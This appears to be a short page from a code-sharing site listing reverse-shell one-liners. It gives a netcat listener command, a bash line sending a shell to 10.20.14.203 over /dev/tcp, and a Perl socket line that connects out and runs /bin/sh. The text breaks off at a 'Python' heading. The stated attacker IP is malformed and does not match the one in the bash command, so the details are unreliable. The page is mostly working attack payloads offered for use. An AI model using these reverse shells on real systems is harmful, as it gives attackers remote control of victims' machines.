This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
The following examples assums the hacker IP is 10.20.14 and use port 8080 for the connection. | |
Therefore in all f these cases you need to listen for port 8080 using the foolowing command `nc -vv -l -p 8080` | |
BASH | |
bash -i >& /dev/tcp/10.20.14.203/8080 0>&1 | |
PERL | |
perl -e 'use Socket;$i="10.20.14";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' | |
Python |